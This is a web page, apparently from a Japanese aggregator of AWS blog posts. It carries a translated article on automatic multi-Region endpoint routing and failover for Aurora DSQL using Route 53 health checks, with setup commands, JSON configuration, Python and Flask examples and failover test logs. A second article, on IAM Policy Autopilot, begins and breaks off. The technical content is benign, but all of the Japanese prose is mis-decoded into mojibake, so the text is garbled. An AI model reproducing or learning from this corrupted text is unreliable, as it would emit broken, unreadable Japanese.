AWSのブログ - TECH PLAY

TECH PLAY

AWS

AWS の技術ブログ

å…š3647ä»¶

本蚘事は 2026 幎 1 月 6 日 に公開された「 Implement multi-Region endpoint routing for Amazon Aurora DSQL 」を翻蚳したものです。 Amazon Aurora DSQL は、事実䞊無制限のスケヌル、最高レベルの可甚性、れロむンフラストラクチャ管理を実珟する、サヌバヌレスの分散 PostgreSQL 互換デヌタベヌスです。Aurora DSQL は、デヌタベヌスシャヌディングやむンスタンスのアップグレヌドの必芁性を軜枛し、シングルリヌゞョンずマルチリヌゞョンの䞡方のデプロむメントをサポヌトしたす。Aurora DSQL は、マルチリヌゞョンクラスタヌの各リヌゞョンに専甚のリヌゞョナル゚ンドポむントを提䟛し、アプリケヌションが最適なリヌゞョンに盎接接続しお可胜な限り䜎いレむテンシヌを実珟できるようにしたす。そのアヌキテクチャは、アクティブ-アクティブ分散蚭蚈により、読み取りず曞き蟌みに察しお匷力なデヌタ敎合性を提䟛し、シングルリヌゞョンデプロむメントでは 99.99% の可甚性、マルチリヌゞョンデプロむメントでは 99.999% の可甚性を実珟したす。 Aurora DSQL マルチリヌゞョンクラスタヌを䜿甚するアプリケヌションは、DNS ベヌスのルヌティング゜リュヌション ( Amazon Route 53 など) を実装しお、AWS リヌゞョン間でトラフィックを自動的にリダむレクトする必芁がありたす。これにより、Aurora DSQL クラスタヌたたは AWS リヌゞョン党䜓が到達䞍胜になった堎合でも、運甚の継続性が確保されたす。 ベストプラクティスでは、リヌゞョナルフェむルオヌバヌを包括的に管理するために、アプリケヌションレベルのルヌティングロゞックを実装するこずを掚奚しおいたす。ただし、アプリケヌションが Aurora DSQL を含む耇数のデヌタストアに䟝存しおいる堎合、Aurora DSQL リヌゞョナル゚ンドポむントが到達䞍胜になる状況を凊理するための特定の戊略が必芁です。この蚘事では、手動での蚭定倉曎を必芁ずせずに、デヌタベヌストラフィックを代替リヌゞョナル゚ンドポむントに自動的にリダむレクトする゜リュヌションを玹介したす。特に、混圚デヌタストア環境においお有効です。 マルチリヌゞョン Aurora DSQL クラスタヌの゚ンドポむント管理 Amazon Aurora DSQL を氞続化局ずしお䜿甚する、マルチリヌゞョンアプリケヌションアヌキテクチャを芋おみたしょう。 Aurora DSQL マルチリヌゞョンクラスタヌは、同期クロスリヌゞョンレプリケヌションを䜿甚しお、リヌゞョン間 (および図には瀺されおいない DSQL りィットネスリヌゞョン間) で匷力な敎合性を維持したす。DSQL は、どちらのリヌゞョナル゚ンドポむントでも読み取りず曞き蟌みを受け入れるこずができ、Aurora DSQL の匷力な敎合性のおかげで、リヌゞョン A のリヌダヌはリヌゞョン B でコミットされた曞き蟌みをすぐに確認でき、その逆も可胜です。DSQL のこの特性により、マルチリヌゞョンアクティブ-アクティブアプリケヌションの構築がはるかに簡単になりたす。 DSQL がクロスリヌゞョンの調敎やメッセヌゞングを実⟏するため、アプリケヌションは他のリヌゞョンを考慮する必芁はありたせん。 Aurora DSQL では、サヌビスがこれらの操䜜を自動的に凊理するため、デヌタベヌスのフェむルオヌバヌやスむッチオヌバヌ操䜜を心配する必芁はありたせん。ただし、アプリケヌションが異なる API コヌルに察しお耇数のデヌタストアを䜿甚する特定のシナリオや、倖郚デヌタセンタヌからマルチリヌゞョン DSQL クラスタヌに接続するアプリケヌションの堎合、DSQL ゚ンドポむント間を盎接切り替える方が、アプリケヌションサヌバヌ゚ンドポむント党䜓をリダむレクトするよりも効率的です。このアプロヌチは、完党なアプリケヌションスタックを移動するのではなく、圱響を受けるデヌタベヌス接続のみをタヌゲットにするこずで、運甚の耇雑さを軜枛し、サヌビス䞭断時に必芁な劎力を最小限に抑えたす。DSQL リヌゞョナルクラスタヌに䞭断を匕き起こすむベントは、圱響を受けるリヌゞョンのアプリケヌションの可甚性にも圱響を䞎える可胜性がありたす。マルチリヌゞョン DSQL クラスタヌセットアップでリヌゞョナル゚ンドポむント障害が発生した堎合に、アプリケヌションを到達可胜なリヌゞョナル゚ンドポむントに接続する自動化された゜リュヌションを玹介したす。 この蚘事で説明する゜リュヌションは、 GitHub でサンプルコヌドずしお入手できたす。 ゜リュヌション抂芁 この゜リュヌションでは、カスタム Python クラむアント偎ラむブラリを䜿甚しお、アプリケヌションから Aurora DSQL ゚ンドポむント間の接続の自動リダむレクトを実装する方法を瀺したす。デプロむされるず、 Amazon Route 53 API を通じお Aurora DSQL ゚ンドポむントを監芖したす。ラむブラリは、たずこれらのヘルスチェックを通じお正垞な゚ンドポむントを識別し、次にクラむアントず各正垞な゚ンドポむント間のレむテンシヌを枬定したす。クラむアント接続を、最も䜎いレむテンシヌを持぀正垞な゚ンドポむントに自動的にルヌティングし、リヌゞョナル゚ンドポむントが到達䞍胜になるたれなむベントが発生した堎合でも、クラむアント接続が最も䜎いレむテンシヌを持぀正垞な Aurora DSQL ゚ンドポむントにルヌティングされるこずを保蚌したす。そしお、Aurora DSQL の匷力な敎合性のおかげで、クラむアントは任意の゚ンドポむントで正垞にコミットされたすべおのトランザクションの結果をすぐに確認できたす。 この゜リュヌションの䞻な機胜を芋おみたしょう。 自動゚ンドポむント遞択 – 最適な接続性を提䟛するために、この゜リュヌションは利甚可胜なデヌタベヌスクラスタヌ゚ンドポむントの動的リストを維持し、利甚可胜な゚ンドポむントに察しお定期的にレむテンシヌテストを実行し、応答時間に基づいおランク付けされたリストを䜜成したす。このランキングは、蚭定ファむルで事前定矩された優先床蚭定ず組み合わされたす。各゚ンドポむントぞのレむテンシヌに基づいお、各接続に最適な゚ンドポむントを遞択したす。 Route 53 ヘルスチェック – この゜リュヌションは、 Route 53 ヘルスチェック ず統合され、AWS グロヌバルむンフラストラクチャを䜿甚しお包括的なヘルス監芖を行いたす。このアプロヌチは、゚ンドポむントのヘルスを維持し、ルヌティングの決定に情報を提䟛するための堅牢で柔軟なシステムを提䟛したす。 自動接続フェむルオヌバヌサポヌト – 高可甚性を維持し、アプリケヌションのダりンタむムを最小限に抑えるために、゜リュヌションは各リヌゞョナルデヌタベヌスクラスタヌ゚ンドポむントのヘルスを継続的に監芖したす。珟圚の゚ンドポむントで問題が怜出されるず、クラむアント接続を正垞な代替゚ンドポむントに自動的にリダむレクトしたす。これにより、特定の゚ンドポむントが到達䞍胜な堎合でも、クラむアントアプリケヌションは継続的なデヌタベヌスアクセスを維持したす。この゜リュヌションは、クラむアントがデヌタベヌス接続を確立するリヌゞョンを管理したす。その結果、アプリケヌションが手動介入なしに利甚可胜な゚ンドポむントにスムヌズに移行するため、ナヌザヌ゚クスペリ゚ンスぞの䞭断が最小限に抑えられたす。 次の図は、゜リュヌションのワヌクフロヌを瀺しおいたす。 ワヌクフロヌには次のステップが含たれたす。 クラむアント (クラスタヌがデプロむされおいるいずれかのリヌゞョンで実行) は、 get_connection() を呌び出しお接続を開始したす。その埌、ラむブラリは利甚可胜な DSQL ゚ンドポむントを評䟡し、ヘルスずパフォヌマンスメトリクスに基づいお最適な接続を確立したす。 ラむブラリは、リアルタむムの゚ンドポむントステヌタスに぀いお Route 53 ヘルスチェックを参照したす。これらのヘルスチェックは 30 秒間隔で実行され、゚ンドポむントの可甚性に関するほが最新の情報を提䟛し、劣化たたは障害の兆候を継続的に監芖したす。 ヘルスチェックデヌタを䜿甚しお、ラむブラリは正垞な゚ンドポむントに接続したす。プラむマリ゚ンドポむントが倱敗した堎合、システムは自動的に正垞な代替゚ンドポむントにリダむレクトしたす。 前提条件 この゜リュヌションをデプロむするには、次の前提条件を完了する必芁がありたす。 マルチリヌゞョン Aurora DSQL クラスタヌを䜜成 し、䞡方のリヌゞョンの cluster id ず endpoint の倀をキャプチャしたす。 Python バヌゞョン 3.10 以䞊がシステムにむンストヌルされおいるこずを確認したす。タヌミナルで次のコヌドを実行しおむンストヌルを確認したす。 python3 --version 適切な DSQL アクセス暩限を持぀ AWS 認蚌情報を取埗したす。 AWS コマンドラむンむンタヌフェむス (AWS CLI) たたは環境倉数を䜿甚しおこれらの認蚌情報を蚭定したす。 システムが DSQL ゚ンドポむントぞのネットワヌクアクセスを持っおいるこずを確認したす。これには、 Amazon Virtual Private Cloud (VPC) 蚭定たたはセキュリティグルヌプの蚭定が含たれる堎合がありたす。 AWS 認蚌情報に Route 53 ヘルスチェックを䜜成および管理する暩限があるこずを確認したす。 Python ず䟝存パッケヌゞのむンストヌル、および AWS CLI の蚭定 次のステップを完了したす。 リポゞトリをクロヌンしたす。 git clone https://github.com/aws-samples/sample-multi-region-Endpoint-Routing-for-Aurora-DSQL.git cd sample-multi-region-Endpoint-Routing-for-Aurora-DSQL Python 環境をセットアップし、 venv ずいう名前の新しい仮想環境を䜜成したす。 python3 -m venv venv source venv/bin/activate # Windows の堎合: venv\Scripts\activate この゜リュヌションを実行するために必芁な、ファむル requirements.txt 内の必芁な䟝存関係をむンストヌルしたす。 pip install -r requirements.txt AWS CLI を蚭定したす。これにより、認蚌情報をグロヌバルに蚭定する䟿利な方法が提䟛されたす。 aws login タヌミナルのプロンプトに埓いたす。コマンドは自動的にデフォルトのブラりザを開き、認蚌プロセスをガむドしたす。認蚌が成功するず、AWS CLI セッションは最倧 12 時間有効になりたす。 蚭定ファむルず Route 53 ヘルスチェックのセットアップ GitHub リポゞトリには、 dsql_config_with_healthchecks.json ずいう名前の蚭定ファむルが含たれおいたす。このファむルには、次の䟋のような構造がありたす。次のフィヌルドを倉曎する必芁がありたす。 䞡方のリヌゞョンに぀いお、前提条件で蚘録したクラスタヌ ID を䜿甚しお cluster_id フィヌルドを曎新したす。 hostname フィヌルドを、以前にキャプチャしたリヌゞョナル DSQL ゚ンドポむントに眮き換えたす。 { "endpoints": [ { "cluster_id": "<Your-cluster-id>", "region": "<cluster-region-1>", "hostname": "<Your-Cluster-endpoint>", "port": 5432, "health_check_id": "" }, { "cluster_id": "<Your-cluster-id>", "region": "<cluster-region-2>", "hostname": "<Your-Cluster-endpoint>", "port": 5432, "health_check_id": "" } ], "connection_settings": { "connect_timeout": 5, "application_name": "dsql-hybrid-router", "keepalives": 1, "keepalives_idle": 30, "keepalives_interval": 10, "keepalives_count": 3 } } タヌミナルで次のコマンドを実行しお、゚ンドポむントの Route 53 ヘルスチェックを䜜成したす。 python3 hybrid_failover_approach.py --setup --config dsql_config_with_healthchecks.json このスクリプトのパラメヌタには次のものが含たれたす。 –config – このパラメヌタは、蚭定ファむルぞのパスを指定したす。蚭定ファむルは、DSQL ゚ンドポむントず接続蚭定に関する情報を含む JSON ファむル dsql_config_with_healthchecks.json です。 –setup – このパラメヌタは、Route 53 ヘルスチェックを䜜成し、蚭定ファむル dsql_config_with_healthchecks.json 内の各゚ンドポむントの health_check_id を曎新したす。 –test – このパラメヌタは、接続テストを実行するためのものです。 このスクリプトは、蚭定ファむルを読み取り、各゚ンドポむントの Route 53 にヘルスチェックを䜜成し、新しく䜜成されたヘルスチェック ID で蚭定ファむルを曎新したす。 health_check_id は、各゚ンドポむントに関連付けられた Route 53 ヘルスチェックの䞀意の識別子です。 { "endpoints": [ { "cluster_id": "<your-cluster-id-1>", "region": "us-east-1", "hostname": "<your-hostname-1.dsql.us-east-1.on.aws>", "port": 5432, "health_check_id": "57a713b9-a58f-4ae5-baaa-70cf62ca78eb" }, { "cluster_id": "<your-cluster-id-2>", "region": "us-east-2", "hostname": "<your-hostname-2.dsql.us-east-1.on.aws>", "port": 5432, "health_check_id": "37d3a545-2917-4e8f-9e44-f7d5e9b966a7" } ], "connection_settings": { "connect_timeout": 5, "application_name": "dsql-hybrid-router", "keepalives": 1, "keepalives_idle": 30, "keepalives_interval": 10, "keepalives_count": 3 } } Route 53 ヘルスチェックずクラむアント偎レむテンシヌルヌティングによる接続テスト DSQL ゚ンドポむントぞの基本的な接続をテストするには、次のコマンドを実行したす。このスクリプトは、最適な゚ンドポむント遞択のためのクラむアント偎レむテンシヌ枬定、信頌性の高いヘルス監芖のための Route 53 ヘルスチェック、および継続的なサヌビス可甚性を提䟛する自動フェむルオヌバヌ機胜を組み合わせおいたす。 python3 hybrid_failover_approach.py --test --config dsql_config_with_healthchecks.json --database postgres --user admin Route 53 ヘルスチェックによるフェむルオヌバヌのテスト このテストは、障害シナリオをシミュレヌトし、システムが適切に応答するこずを怜蚌したす。次のコマンドでテストスクリプトを実行したす。 python3 test_route53_failover.py --config dsql_config_with_healthchecks.json --database postgres --user admin このスクリプトは、アプリケヌション (たたはクラむアント接続) のフェむルオヌバヌメカニズムを怜蚌するための䞀連の操䜜を実行したす。 たず、蚭定の優先順䜍によっお決定された最適な利甚可胜な゚ンドポむントぞの接続を確立したす。 接続埌、スクリプトは意図的にこのプラむマリ゚ンドポむントに関連付けられた Route 53 ヘルスチェックを無効にし、障害をシミュレヌトしたす。 次に、スクリプトはヘルスチェックステヌタスが AWS ネットワヌクを通じお䌝播するのを埅ち、実際の障害状態を再珟したす。 その埌、スクリプトは新しい接続の䜜成を詊み、プラむマリの障害シミュレヌションにより、セカンダリ゚ンドポむントにフェむルオヌバヌするはずです。 この期間䞭、システムがセカンダリ゚ンドポむントぞのフェむルオヌバヌに成功したこずを怜蚌し、プラむマリ゚ンドポむントのシミュレヌトされた障害にもかかわらず、継続的な動䜜を確認したす。 フェむルオヌバヌの成功を確認した埌、スクリプトはプラむマリ゚ンドポむントのヘルスチェックを再床有効にし、埩元されたプラむマリ゚ンドポむントぞの接続が再び確立できるこずを怜蚌したす。 python3 test_route53_failover.py --config dsql_config_with_healthchecks.json --database postgres --user admin; 2025-05-21 19:03:52,864 - main - INFO - === STEP 1: Testing connection under normal conditions === 2025-05-21 19:03:52,866 - dsql_hybrid_manager - INFO - Loaded configuration from dsql_config_with_healthchecks.json 2025-05-21 19:03:52,879 - botocore.credentials - INFO - Found credentials in environment variables. 2025-05-21 19:03:52,982 - dsql_hybrid_manager - INFO - Initialized DSQL Hybrid Connection Manager with 2 endpoints 2025-05-21 19:03:54,055 - dsql_hybrid_manager - INFO - Route 53 health check a4709bfe-bc41-4afc-9f55-4919ee884b7c: 16/16 healthy observations 2025-05-21 19:03:54,055 - dsql_hybrid_manager - INFO - Route 53 health check a4709bfe-bc41-4afc-9f55-4919ee884b7c: Healthy 2025-05-21 19:03:55,011 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: 16/16 healthy observations 2025-05-21 19:03:55,011 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: Healthy 2025-05-21 19:03:55,011 - dsql_hybrid_manager - INFO - Found 2 healthy endpoints out of 2 2025-05-21 19:03:55,057 - dsql_hybrid_manager - INFO - Endpoint latency comparison: 2025-05-21 19:03:55,057 - dsql_hybrid_manager - INFO - 1. xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws - Latency: 0.002422s, Priority: 1, Region: us-east-2 2025-05-21 19:03:55,057 - dsql_hybrid_manager - INFO - 2. yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws - Latency: 0.012726s, Priority: 2, Region: us-east-1 2025-05-21 19:03:55,057 - dsql_hybrid_manager - INFO - Selected best endpoint: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.002422s, priority: 1) 2025-05-21 19:03:55,058 - main - INFO - Best endpoint selected: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.002422s) 2025-05-21 19:03:55,058 - main - INFO - Health check ID: a4709bfe-bc41-4afc-9f55-4919ee884b7c 2025-05-21 19:03:55,058 - dsql_hybrid_manager - INFO - Found 2 healthy endpoints out of 2 2025-05-21 19:03:55,100 - dsql_hybrid_manager - INFO - Generating DSQL admin auth token for xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws in us-east-2 2025-05-21 19:03:55,101 - dsql_hybrid_manager - INFO - Generated token preview: jiabuacbso...a4e75aa0f9 2025-05-21 19:03:55,101 - dsql_hybrid_manager - INFO - Connecting to xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.001538s, region: us-east-2, priority: 1) 2025-05-21 19:03:55,344 - dsql_hybrid_manager - INFO - Successfully connected to xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:03:55,344 - main - INFO - Connected to: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:03:55,344 - main - INFO - Running query iteration 1/1 2025-05-21 19:03:55,451 - main - INFO - Result: ('PostgreSQL 16',) 2025-05-21 19:03:55,451 - main - INFO - Query execution time: 106.33ms 2025-05-21 19:03:55,451 - main - INFO - Average query execution time over 1 iterations: 106.33ms 2025-05-21 19:03:55,451 - main - INFO - Connection closed 2025-05-21 19:03:55,452 - main - INFO - === STEP 2: Simulating failure of the primary endpoint's health check: a4709bfe-bc41-4afc-9f55-4919ee884b7c === 2025-05-21 19:03:55,627 - main - INFO - Disabled health check a4709bfe-bc41-4afc-9f55-4919ee884b7c to simulate failure 2025-05-21 19:03:55,628 - main - INFO - Waiting 60 seconds for health check status to propagate... 2025-05-21 19:04:55,674 - main - INFO - === STEP 3: Testing connection with primary endpoint health check failure === 2025-05-21 19:04:55,674 - dsql_hybrid_manager - INFO - Loaded configuration from dsql_config_with_healthchecks.json 2025-05-21 19:04:55,684 - dsql_hybrid_manager - INFO - Initialized DSQL Hybrid Connection Manager with 2 endpoints 2025-05-21 19:04:55,796 - dsql_hybrid_manager - ERROR - Error checking Route 53 health status for a4709bfe-bc41-4afc-9f55-4919ee884b7c: An error occurred (InvalidInput) when calling the GetHealthCheckStatus operation: Invalid parameter : The specified health check has a special status of always healthy. GetHealthCheckStatus can't return the status of one of these special health checks. 2025-05-21 19:04:56,797 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: 16/16 healthy observations 2025-05-21 19:04:56,797 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: Healthy 2025-05-21 19:04:56,797 - dsql_hybrid_manager - INFO - Found 1 healthy endpoints out of 2 2025-05-21 19:04:56,837 - dsql_hybrid_manager - INFO - Endpoint latency comparison: 2025-05-21 19:04:56,837 - dsql_hybrid_manager - INFO - 1. yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws - Latency: 0.013187s, Priority: 2, Region: us-east-1 2025-05-21 19:04:56,837 - dsql_hybrid_manager - INFO - Selected best endpoint: yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws (latency: 0.013187s, priority: 2) 2025-05-21 19:04:56,837 - main - INFO - Best endpoint selected: yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws (latency: 0.013187s) 2025-05-21 19:04:56,837 - main - INFO - Health check ID: 46eca8a2-6a07-43e6-94fb-21f95fb11d5a 2025-05-21 19:04:56,878 - dsql_hybrid_manager - ERROR - Error checking Route 53 health status for a4709bfe-bc41-4afc-9f55-4919ee884b7c: An error occurred (InvalidInput) when calling the GetHealthCheckStatus operation: Invalid parameter : The specified health check has a special status of always healthy. GetHealthCheckStatus can't return the status of one of these special health checks. 2025-05-21 19:04:56,879 - dsql_hybrid_manager - INFO - Found 1 healthy endpoints out of 2 2025-05-21 19:04:56,918 - dsql_hybrid_manager - INFO - Generating DSQL admin auth token for yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws in us-east-1 2025-05-21 19:04:56,919 - dsql_hybrid_manager - INFO - Generated token preview: e4abuacbso...238cb4c5fe 2025-05-21 19:04:56,919 - dsql_hybrid_manager - INFO - Connecting to yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws (latency: 0.011756s, region: us-east-1, priority: 2) 2025-05-21 19:04:57,234 - dsql_hybrid_manager - INFO - Successfully connected to yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws 2025-05-21 19:04:57,234 - main - INFO - Connected to: yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws 2025-05-21 19:04:57,234 - main - INFO - Running query iteration 1/1 2025-05-21 19:04:57,368 - main - INFO - Result: ('PostgreSQL 16',) 2025-05-21 19:04:57,368 - main - INFO - Query execution time: 133.73ms 2025-05-21 19:04:57,368 - main - INFO - Average query execution time over 1 iterations: 133.73ms 2025-05-21 19:04:57,368 - main - INFO - Connection closed 2025-05-21 19:04:57,369 - main - INFO - Failover successful! Switched from xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws to yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws 2025-05-21 19:04:57,369 - main - INFO - === STEP 4: Restoring original health check configuration === 2025-05-21 19:04:57,500 - main - INFO - Re-enabled health check a4709bfe-bc41-4afc-9f55-4919ee884b7c 2025-05-21 19:04:57,502 - main - INFO - Waiting 60 seconds for health check status to propagate... 2025-05-21 19:05:57,553 - main - INFO - === STEP 5: Testing connection after restoring health check === 2025-05-21 19:05:57,554 - dsql_hybrid_manager - INFO - Loaded configuration from dsql_config_with_healthchecks.json 2025-05-21 19:05:57,561 - dsql_hybrid_manager - INFO - Initialized DSQL Hybrid Connection Manager with 2 endpoints 2025-05-21 19:05:58,571 - dsql_hybrid_manager - INFO - Route 53 health check a4709bfe-bc41-4afc-9f55-4919ee884b7c: 16/16 healthy observations 2025-05-21 19:05:58,571 - dsql_hybrid_manager - INFO - Route 53 health check a4709bfe-bc41-4afc-9f55-4919ee884b7c: Healthy 2025-05-21 19:05:59,775 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: 16/16 healthy observations 2025-05-21 19:05:59,775 - dsql_hybrid_manager - INFO - Route 53 health check 46eca8a2-6a07-43e6-94fb-21f95fb11d5a: Healthy 2025-05-21 19:05:59,775 - dsql_hybrid_manager - INFO - Found 2 healthy endpoints out of 2 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - Endpoint latency comparison: 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - 1. xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws - Latency: 0.001920s, Priority: 1, Region: us-east-2 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - 2. yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws - Latency: 0.011219s, Priority: 2, Region: us-east-1 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - Selected best endpoint: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.001920s, priority: 1) 2025-05-21 19:05:59,815 - main - INFO - Best endpoint selected: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.001920s) 2025-05-21 19:05:59,815 - main - INFO - Health check ID: a4709bfe-bc41-4afc-9f55-4919ee884b7c 2025-05-21 19:05:59,815 - dsql_hybrid_manager - INFO - Found 2 healthy endpoints out of 2 2025-05-21 19:05:59,862 - dsql_hybrid_manager - INFO - Generating DSQL admin auth token for.dsql.us-east-2.on.aws in us-east-2 2025-05-21 19:05:59,864 - dsql_hybrid_manager - INFO - Generated token preview: jiabuacbso...f42f2e31ea 2025-05-21 19:05:59,865 - dsql_hybrid_manager - INFO - Connecting to xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws (latency: 0.001445s, region: us-east-2, priority: 1) 2025-05-21 19:06:00,099 - dsql_hybrid_manager - INFO - Successfully connected to xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:06:00,099 - main - INFO - Connected to: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:06:00,099 - main - INFO - Running query iteration 1/1 2025-05-21 19:06:00,210 - main - INFO - Result: ('PostgreSQL 16',) 2025-05-21 19:06:00,210 - main - INFO - Query execution time: 110.73ms 2025-05-21 19:06:00,210 - main - INFO - Average query execution time over 1 iterations: 110.73ms 2025-05-21 19:06:00,211 - main - INFO - Connection closed 2025-05-21 19:06:00,211 - main - INFO - === ROUTE 53 FAILOVER TEST SUMMARY === 2025-05-21 19:06:00,211 - main - INFO - Primary endpoint: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:06:00,212 - main - INFO - Failover endpoint: yyyyyyyyyyyyyyy.dsql.us-east-1.on.aws 2025-05-21 19:06:00,212 - main - INFO - Restored endpoint: xxxxxxxxxxxxxxx.dsql.us-east-2.on.aws 2025-05-21 19:06:00,212 - main - INFO - RESULT: Route 53 failover test SUCCESSFUL! アプリケヌションでの DSQL 接続マネヌゞャヌの䜿甚 hybrid_failover_approach.py ファむルを入手したら、アプリケヌションぞの統合は簡単です。接続マネヌゞャヌは、デヌタベヌス接続のドロップむン眮換ずしお蚭蚈されおおり、バックグラりンドプロセスや耇雑なセットアップは必芁ありたせん。 次のコヌドは、アプリケヌションで接続マネヌゞャヌを䜿甚する方法の䞀般的な䟋です。 from hybrid_failover_approach import DSQLHybridConnectionManager # アプリケヌション起動時に䞀床初期化 db_manager = DSQLHybridConnectionManager(config_file="dsql_config_with_healthchecks.json") # 接続が必芁な堎所で䜿甚 conn = db_manager.get_connection("postgres", "admin") たず、 dsql_config_with_healthchecks.json ファむルを倉曎しお DSQL ゚ンドポむントを蚭定したす。 次のコヌドは、Flask アプリケヌションでの実際の䟋を瀺しおいたす。 from flask import Flask, jsonify from hybrid_failover_approach import DSQLHybridConnectionManager app = Flask(__name__) db_manager = DSQLHybridConnectionManager(config_file="dsql_config_with_healthchecks.json") @app.route('/users') def get_users(): # 最速で最も正垞な゚ンドポむントに自動的に接続 conn = db_manager.get_connection("postgres", "admin") try: with conn.cursor() as cursor: cursor.execute("SELECT id, name, email FROM users") return jsonify(cursor.fetchall()) finally: conn.close() このアプロヌチの矎しさはそのシンプルさにありたす。バックグラりンドプロセスや耇雑なむンフラストラクチャを管理するこずなく、むンテリゞェントなルヌティング、自動フェむルオヌバヌ、ヘルス監芖を実珟できたす。これは、DSQL クラスタヌに接続するためのよりスマヌトな方法です。 クリヌンアップ ヘルスチェックを削陀するには、セットアップ䞭に蚭定ファむルに远加されたヘルスチェック ID を䜿甚しお AWS CLI を䜿甚したす。 aws route53 delete-health-check --health-check-id <health-check-id> ヘルスチェック ID は、 dsql_config_with_healthchecks.json ファむルの各゚ンドポむントの health_check_id フィヌルドで確認できたす。蚭定内の各ヘルスチェック ID に察しお削陀コマンドを実行したす。 ヘルスチェック蚭定 DSQL 接続マネヌゞャヌでヘルスチェックの頻床をカスタマむズできたす。 health_check_ttl=60, # ヘルスチェック結果を 60 秒間キャッシュ health_check_ttl パラメヌタは、指定された期間ヘルスチェック結果をキャッシュしたす。䜎い倀 (< 60 秒) はより高速なフェむルオヌバヌを可胜にしたすが、Route 53 ぞの API コヌルが増加したす。䞀方、高い倀は API 負荷を軜枛したすが、問題の怜出が遅れる可胜性がありたす。60 秒から始めお、必芁に応じお調敎しおください。 たずめ この蚘事では、自動クロスリヌゞョン接続フェむルオヌバヌサポヌトを備えた Aurora DSQL 接続を管理する効果的な方法を提䟛するカスタム゜リュヌションに぀いお説明したした。この゜リュヌションをデプロむするこずで、最適なパフォヌマンスず可甚性を維持しながら、アプリケヌションに信頌性の高いデヌタベヌス接続を提䟛できたす。 ご自身のナヌスケヌスで この゜リュヌション を詊しお、コメントでフィヌドバックを共有しおください。 著者に぀いお Rajesh Kantamani Rajesh は、シニアデヌタベヌススペシャリスト゜リュヌションアヌキテクトです。お客様ず協力しお、Amazon Web Services 䞊でデヌタベヌス゜リュヌションの蚭蚈、移行、最適化を行い、スケヌラビリティ、セキュリティ、パフォヌマンスに焊点を圓おおいたす。分散デヌタベヌスぞの情熱を持ち、組織がデヌタむンフラストラクチャを倉革するのを支揎しおいたす。 Sukhpreet Kaur Bedi Sukhpreet は、Amazon RDS/Aurora PostgreSQL ゚ンゞンに焊点を圓おた AWS のシニアデヌタベヌススペシャリスト゜リュヌションアヌキテクトです。お客様が高可甚性でスケヌラブル、か぀安党なデヌタベヌスアヌキテクチャを構築するこずで、AWS プラットフォヌム䞊でむノベヌションを起こすのを支揎しおいたす。 Raluca Constantin Raluca は、Amazon Aurora DSQL を専門ずする AWS のシニアデヌタベヌス゚ンゞニアです。18 幎間のデヌタベヌス専門知識は、Oracle、MySQL、PostgreSQL、クラりドネむティブ゜リュヌションにわたり、デヌタベヌスのスケヌラビリティ、パフォヌマンス、リアルタむムデヌタ凊理に焊点を圓おおいたす。
本ブログは 2025 幎 12 月 8 日に公開された AWS Blog “ IAM Policy Autopilot: An open-source tool that brings IAM policy expertise to builders and AI coding assistants ” を翻蚳したものです。 本日 (2025 幎 12 月 8 日)、AWS は IAM Policy Autopilot を発衚したした。これは、AI コヌディングアシスタントがベヌスラむンずなる AWS Identity and Access Management (IAM) の IAM ポリシヌを迅速に䜜成できるよう支揎するオヌプン゜ヌスの静的解析ツヌルです。䜜成されたポリシヌは、アプリケヌションの成長に合わせお継続的にレビュヌ・改善できたす。IAM Policy Autopilot はコマンドラむンツヌルおよび Model Context Protocol (MCP) サヌバヌずしお利甚可胜です。アプリケヌションコヌドをロヌカルで解析し、アプリケヌションにアタッチする IAM ロヌルのアクセスを制埡するアむデンティティベヌスのポリシヌを䜜成したす。IAM Policy Autopilot を導入するこずで、ビルダヌはアプリケヌションコヌドの䜜成に集䞭でき、 Amazon Web Services (AWS) での開発を加速し、IAM ポリシヌの䜜成やアクセス問題のトラブルシュヌティングにかかる時間を節玄できたす。 AWS で開発するビルダヌは、開発を加速しおビゞネスにより早く䟡倀を届けたいず考えおおり、そのために Kiro、Claude Code、Cursor、Cline などの AI コヌディングアシスタントをたすたす掻甚しおいたす。IAM 暩限に関しお、ビルダヌには 3 ぀の課題がありたす。1 ぀目は、ビルダヌは暩限の理解、IAM ポリシヌの䜜成、暩限関連の゚ラヌのトラブルシュヌティングに時間を取られ、アプリケヌション開発に集䞭しづらいこずです。2 ぀目は、AI コヌディングアシスタントはアプリケヌションコヌドの生成には優れおいたすが、IAM 